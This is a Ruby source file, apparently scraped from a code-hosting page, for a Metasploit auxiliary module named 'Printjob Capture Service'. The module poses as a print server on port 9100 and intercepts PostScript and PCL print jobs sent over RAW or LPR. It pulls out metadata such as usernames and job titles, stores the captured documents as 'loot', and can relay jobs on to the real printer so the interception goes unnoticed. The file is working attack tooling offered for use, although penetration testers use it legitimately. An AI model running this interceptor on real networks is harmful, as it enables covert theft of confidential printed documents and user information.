281 lines
8.1 KiB
Ruby
281 lines
8.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Printjob Capture Service',
|
|
'Version' => '$Revision$',
|
|
'Description' => %q{
|
|
This module is designed to listen for PJL or PostScript print
|
|
jobs. Once a print job is detected it is saved to loot. The
|
|
captured printjob can then be forwarded on to another printer
|
|
(required for LPR printjobs). Resulting PCL/PS files can be
|
|
read with GhostScript/GhostPCL.
|
|
|
|
Note, this module does not yet support IPP connections.
|
|
},
|
|
'Author' => ['Chris John Riley', 'todb'],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
# Based on previous prn-2-me tool (Python)
|
|
['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
|
|
# Readers for resulting PCL/PC
|
|
['URL', 'http://www.ghostscript.com']
|
|
],
|
|
'Actions' =>
|
|
[
|
|
[ 'Capture' ]
|
|
],
|
|
'PassiveActions' =>
|
|
[
|
|
'Capture'
|
|
],
|
|
'DefaultAction' => 'Capture'
|
|
)
|
|
|
|
register_options([
|
|
OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]),
|
|
OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]),
|
|
OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]),
|
|
OptAddress.new('RHOST', [ false, 'Forward to remote host' ]),
|
|
OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]),
|
|
OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP
|
|
|
|
], self.class)
|
|
|
|
deregister_options('SSL', 'SSLVersion', 'SSLCert')
|
|
|
|
end
|
|
|
|
def setup
|
|
super
|
|
@state = {}
|
|
|
|
begin
|
|
|
|
@srvhost = datastore['SRVHOST']
|
|
@srvport = datastore['SRVPORT'] || 9100
|
|
@mode = datastore['MODE'].upcase || 'RAW'
|
|
print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])
|
|
if datastore['FORWARD']
|
|
@forward = datastore['FORWARD']
|
|
@rport = datastore['RPORT'] || 9100
|
|
if not datastore['RHOST'].nil?
|
|
@rhost = datastore['RHOST']
|
|
print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
|
|
else
|
|
raise ArgumentError, "Cannot forward without a valid RHOST"
|
|
end
|
|
end
|
|
if not @mode == 'RAW' and not @forward
|
|
raise ArgumentError, "Cannot intercept LPR/IPP without a forwarding target"
|
|
end
|
|
@metadata = datastore['METADATA']
|
|
|
|
exploit()
|
|
|
|
rescue => ex
|
|
print_error(ex.message)
|
|
end
|
|
end
|
|
|
|
def on_client_connect(c)
|
|
@state[c] = {
|
|
:name => "#{c.peerhost}:#{c.peerport}",
|
|
:ip => c.peerhost,
|
|
:port => c.peerport,
|
|
:user => nil,
|
|
:pass => nil,
|
|
:data => '',
|
|
:raw_data => '',
|
|
:prn_title => '',
|
|
:prn_type => '',
|
|
:prn_metadata => {},
|
|
:meta_output => []
|
|
}
|
|
|
|
print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
|
|
end
|
|
|
|
def on_client_data(c)
|
|
curr_data = c.get_once
|
|
@state[c][:data] << curr_data
|
|
if @mode == 'RAW'
|
|
# RAW Mode - no further actions
|
|
elsif @mode == 'LPR' or @mode == 'IPP'
|
|
response = stream_data(curr_data)
|
|
c.put(response)
|
|
end
|
|
|
|
if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
|
|
print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
|
|
end
|
|
|
|
return if not @state[c][:data]
|
|
end
|
|
|
|
def on_client_close(c)
|
|
print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
|
|
sock.close if sock
|
|
|
|
# forward RAW data as it's not streamed
|
|
if @forward and @mode == 'RAW'
|
|
forward_data(@state[c][:data])
|
|
end
|
|
|
|
#extract print data and Metadata from @state[c][:data]
|
|
begin
|
|
# postscript data
|
|
if @state[c][:data] =~ /%!PS-Adobe/i
|
|
@state[c][:prn_type] = "PS"
|
|
print_good("Printjob intercepted - type PostScript")
|
|
# extract PostScript data including header and EOF marker
|
|
@state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
|
|
# pcl data (capture PCL or PJL start code)
|
|
elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
|
|
@state[c][:prn_type] = "PCL"
|
|
print_good("Printjob intercepted - type PCL")
|
|
#extract everything between PCL start and end markers (various)
|
|
@state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
|
|
end
|
|
|
|
# extract Postsript Metadata
|
|
metadata_ps(c) if @state[c][:data] =~ /^%%/i
|
|
|
|
# extract PJL Metadata
|
|
metadata_pjl(c) if @state[c][:data] =~ /@PJL/i
|
|
|
|
# extract IPP Metadata
|
|
metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i
|
|
|
|
if not @state[c][:prn_type]
|
|
print_error("Unable to detect printjob type, dumping complete output")
|
|
@state[c][:prn_type] = "Unknown Type"
|
|
@state[c][:raw_data] = @state[c][:data]
|
|
end
|
|
|
|
# output discovered Metadata if set
|
|
if @state[c][:meta_output] and @metadata
|
|
@state[c][:meta_output].sort.each do | out |
|
|
# print metadata if not empty
|
|
print_status("#{out}") if not out.empty?
|
|
end
|
|
else
|
|
print_status("No metadata gathered from printjob")
|
|
end
|
|
|
|
# set name to unknown if not discovered via Metadata
|
|
@state[c][:prn_title] = 'Unnamed' if not @state[c][:prn_title]
|
|
|
|
#store loot
|
|
storefile(c) if not @state[c][:raw_data].empty?
|
|
|
|
# clear state
|
|
@state.delete(c)
|
|
|
|
rescue => ex
|
|
print_error(ex.message)
|
|
end
|
|
end
|
|
|
|
def metadata_pjl(c)
|
|
# extract PJL Metadata
|
|
|
|
@state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
|
|
print_good("Extracting PJL Metadata")
|
|
@state[c][:prn_metadata].each do | meta |
|
|
if meta[0] =~ /^COMMENT/i
|
|
@state[c][:meta_output] << meta[0].to_s + meta[1].to_s
|
|
end
|
|
if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
|
|
@state[c][:meta_output] << meta[1].to_s
|
|
end
|
|
if meta[1] =~ /^NAME/i
|
|
@state[c][:prn_title] = meta[1].strip
|
|
elsif meta[1] =~/^JOBNAME/i
|
|
@state[c][:prn_title] = meta[1].strip
|
|
end
|
|
end
|
|
end
|
|
|
|
def metadata_ps(c)
|
|
# extract Postsript Metadata
|
|
|
|
@state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
|
|
print_good("Extracting PostScript Metadata")
|
|
@state[c][:prn_metadata].each do | meta |
|
|
if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
|
|
@state[c][:meta_output] << meta[0].to_s
|
|
end
|
|
if meta[0] =~ /^Title/i
|
|
@state[c][:prn_title] = meta[0].strip
|
|
end
|
|
end
|
|
end
|
|
|
|
def metadata_ipp(c)
|
|
# extract IPP Metadata
|
|
|
|
@state[c][:prn_metadata] = @state[c][:data]
|
|
print_good("Extracting IPP Metadata")
|
|
case @state[c][:prn_metadata]
|
|
when /User-Agent:/i
|
|
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
|
|
when /Server:/i
|
|
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
|
|
when /printer-uri..ipp:\/\/.*\/ipp\//i
|
|
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
|
|
when /requesting-user-name..\w+/i
|
|
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
|
|
end
|
|
end
|
|
|
|
def forward_data(data_to_send)
|
|
print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
|
|
connect
|
|
sock.put(data_to_send)
|
|
sock.close
|
|
end
|
|
|
|
def stream_data(data_to_send)
|
|
vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
|
|
connect if not sock
|
|
sock.put(data_to_send)
|
|
response = sock.get_once
|
|
return response
|
|
end
|
|
|
|
def storefile(c)
|
|
# store the file
|
|
|
|
if @state[c][:raw_data]
|
|
jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
|
|
filename = "#{jobname}.#{@state[c][:prn_type]}"
|
|
loot = store_loot(
|
|
"prn_snarf.#{@state[c][:prn_type].downcase}",
|
|
"#{@state[c][:prn_type]} printjob",
|
|
c.peerhost,
|
|
@state[c][:raw_data],
|
|
filename,
|
|
"PrintJob capture"
|
|
)
|
|
print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
|
|
print_good("Loot filename: %s" % loot)
|
|
end
|
|
end
|
|
|
|
end
|